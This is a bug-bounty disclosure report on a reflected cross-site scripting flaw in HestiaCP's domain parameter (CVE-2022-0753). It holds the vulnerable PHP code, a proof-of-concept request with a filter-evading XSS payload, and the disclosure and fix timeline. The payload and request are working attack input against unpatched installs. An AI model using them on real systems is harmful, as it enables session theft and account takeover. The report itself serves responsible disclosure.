Cross-site Scripting (XSS) - Reflected in hestiacp/hestiacp

Valid

Reported on

Feb 17th 2022


Description

The user-controlled GET domain parameter in index.php is unsanitized resulting in Reflected Cross-Site Scripting.

Proof of Concept

Endpoint:

GET https://{HOST}/edit/web/

// File: /web/edit/web/index.php#L28

// List domain
$v_domain = $_GET['domain'];               // User controllable parameter
if ($_SESSION['userContext'] !== 'admin') {
    if (!in_array($v_domain, $user_domains)) {
        header("Location: /list/mail/");
        exit;
    }
}
Request:

GET https://{HOST}/edit/web/?domain=<htmL/+/OnpOintEReNTEr%0d=%0d["XSS-HERE"].find(confirm)//&token=01de3634f2469d87dab9b338eaff4863

Impact

This vulnerability is capable of running malicious Javascript code on web pages, stealing a user's cookie and gaining unauthorized access to that user's account through the stolen cookie.

We are processing your report and will contact the hestiacp team within 24 hours. 3 months ago
We have contacted a member of the hestiacp team and are waiting to hear back 3 months ago
We have sent a follow up to the hestiacp team. We will try again in 7 days. 3 months ago
Jaap Marcus validated this vulnerability 3 months ago
Faisal Fs has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jaap Marcus
3 months ago

Maintainer


@admin please provide a CVE for this vulnerability

Jamie Slome
3 months ago

Admin


Sorted! 🎊

CVE-2022-0753

We have sent a fix follow up to the hestiacp team. We will try again in 7 days. 3 months ago
Jaap Marcus confirmed that a fix has been merged on ee10e2 3 months ago
The fix bounty has been dropped
to join this conversation